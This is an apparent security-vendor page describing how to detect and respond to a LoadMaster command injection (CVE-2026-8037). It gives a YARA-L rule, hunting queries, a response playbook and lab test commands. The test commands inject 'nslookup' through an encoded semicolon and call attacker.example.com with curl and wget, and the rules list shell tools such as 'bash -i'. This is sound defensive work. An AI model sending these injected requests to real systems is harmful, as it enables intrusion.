CVE-2026-8037 Google Chronicle · YARA-L

Detect Progress LoadMaster Command Injection (CVE-2026-8037) in Google Chronicle

Detects exploitation attempts and successful command injection against Progress LoadMaster load balancers via CVE-2026-8037. The vulnerability (CWE-77) allows an unauthenticated remote attacker to inject arbitrary OS commands through the LoadMaster management interface (WUI/API), leading to remote code execution as the underlying service account. This detection surfaces anomalous management-interface requests containing shell metacharacters, unexpected child processes spawned by LoadMaster web/API services, and outbound connections initiated by the appliance following suspicious API access. CVE-2026-8037 is listed in CISA KEV and is being actively exploited in the wild (BOD 26-04 applies).

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule loadmaster_cmd_injection_cve_2026_8037 {
  meta:
    author = "argus"
    cve = "CVE-2026-8037"
    severity = "CRITICAL"
  events:
    $e.metadata.event_type = "NETWORK_HTTP"
    ($e.target.port = 443 or $e.target.port = 8443)
    (
      $e.target.url = /(%3B|%7C|%26|\$\(|`|;|\|)/ nocase or
      $e.network.http.parsed_user_agent = /.*/ and $e.target.url = /(nslookup|curl%20|wget%20|\/bin\/sh|bash%20-i)/ nocase
    )
    $e.target.hostname = /loadmaster/ nocase
  condition:
    $e
}
critical severity medium confidence

Chronicle YARA-L rule flagging LoadMaster management HTTP requests carrying command-injection metacharacters or shell primitives.

Data Sources

Chronicle UDM NETWORK_HTTP events

Required Tables

udm.network_http

False Positives & Tuning

  • Authorized scanner or red-team probing of the appliance.
  • Admin API calls with encoded special characters.
  • Synthetic monitoring requests replaying complex payloads.

Other platforms for CVE-2026-8037

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate LoadMaster command-injection request with encoded metacharacters

    Expected signal: Proxy/appliance access log entry showing a request to /access/set containing %3B and nslookup on port 8443.

  2. Test 2Spawn shell child process from simulated web service parent

    Expected signal: Process-start event with parent lmadmin spawning curl.

  3. Test 3Emulate outbound beacon from appliance post-exploitation

    Expected signal: Outbound network connection event from the appliance host to an external host on port 80.

Last updated: 2026-08-08 Research depth: standard
References (6)

Response Playbook

Triage

  1. Confirm the destination host is a Progress LoadMaster appliance and identify its firmware version against the June 2026 Progress security bulletin (CVE-2026-8037).
  2. Extract the full request payload and decode URL-encoded metacharacters to determine whether a real command was injected versus a benign special character.
  3. Correlate the source IP against threat intelligence and check whether it appears in other management-interface access attempts or authentication logs.
  4. Check appliance process and connection telemetry for any child process (sh, curl, wget, nc) spawned by the web/API service around the alert time.

Containment

  1. Restrict LoadMaster management interface (443/8443) to trusted administrative networks or a jump host via ACL/firewall immediately.
  2. If injection is confirmed, isolate the appliance from untrusted networks and fail traffic over to a redundant/patched node.
  3. Block the identified source IP(s) at the perimeter and rotate any credentials or API keys reachable from the appliance.

Evidence Collection

  1. Capture LoadMaster WUI/API access logs, appliance syslog, and configuration snapshot for the affected time window.
  2. Preserve network capture/flow records showing the injection request and any resulting outbound connections from the appliance.

Escalation Criteria

  • !Escalate to incident response if a shell or network-utility child process was spawned by the LoadMaster service, confirming RCE.
  • !Escalate if the appliance initiated outbound connections to unknown infrastructure or if configuration/credential tampering is observed.

Investigation Guide

Related Techniques

[object Object][object Object]

Forensic Artifacts

  • >LoadMaster WUI/API access logs containing the malicious request
  • >Appliance shell history and spawned-process records
  • >Outbound connection/flow logs from the appliance to attacker infrastructure
  • >Modified configuration or newly created files/accounts on the appliance

Tuning Guidance

Baseline the set of source IPs and API paths used by legitimate administrators and automation, then exclude those from the metacharacter match. Maintain an allowlist of known scanner IPs and suppress their alerts to reduce noise, but keep alerting on any request that correlates with a spawned shell/network-utility child process on the appliance, which is high-fidelity regardless of source.

Hunting Queries

Hunts for repeated management-interface requests carrying injection metacharacters against LoadMaster appliances to surface staging or brute-forced exploitation.

Hunting — KQL
kql 
CommonSecurityLog | where DestinationPort in (443,8443) and (DestinationHostName has "loadmaster" or DeviceProduct has "LoadMaster") | extend uri = coalesce(RequestURL, AdditionalExtensions) | where uri has_any (";","|","`","$(","%3B","%7C") | summarize count() by SourceIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl 
index=network (dest_port=443 OR dest_port=8443) host=*loadmaster* | eval p=coalesce(uri_query,url) | where match(p,"(?i)(;|\||`|\$\(|%3B|%7C)") | stats count by src_ip

Atomic Red Team Tests

Test 1 Simulate LoadMaster command-injection request with encoded metacharacters
linux

Sends a crafted HTTP request to a lab LoadMaster management endpoint with URL-encoded shell metacharacters to trigger the network-layer detection.

Command

bash 
curl -sk 'https://127.0.0.1:8443/access/set?param=value%3Bnslookup%20attacker.example.com' -o /dev/null

Cleanup

bash 
true

Expected Telemetry

Proxy/appliance access log entry showing a request to /access/set containing %3B and nslookup on port 8443.

Expected Detection

KQL/SPL/AQL network queries match on the encoded metacharacters against port 8443.

Test 2 Spawn shell child process from simulated web service parent
linux

Renames a shell to mimic the LoadMaster web service and spawns a curl child to emulate post-injection RCE process telemetry.

Command

bash 
cp /bin/bash /tmp/lmadmin && /tmp/lmadmin -c 'curl -s http://attacker.example.com/x' ; echo done

Cleanup

bash 
rm -f /tmp/lmadmin

Expected Telemetry

Process-start event with parent lmadmin spawning curl.

Expected Detection

Elastic EQL sequence and CrowdStrike CQL process-lineage queries match the parent/child relationship.

Test 3 Emulate outbound beacon from appliance post-exploitation
linux

Generates an outbound connection from the appliance host to simulate attacker callback following command injection.

Command

bash 
wget -q -O /dev/null http://attacker.example.com/beacon || true

Cleanup

bash 
true

Expected Telemetry

Outbound network connection event from the appliance host to an external host on port 80.

Expected Detection

Hunting queries and process-network correlation flag the appliance-initiated outbound connection.

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting Interpreter

Same Tactic: Initial Access

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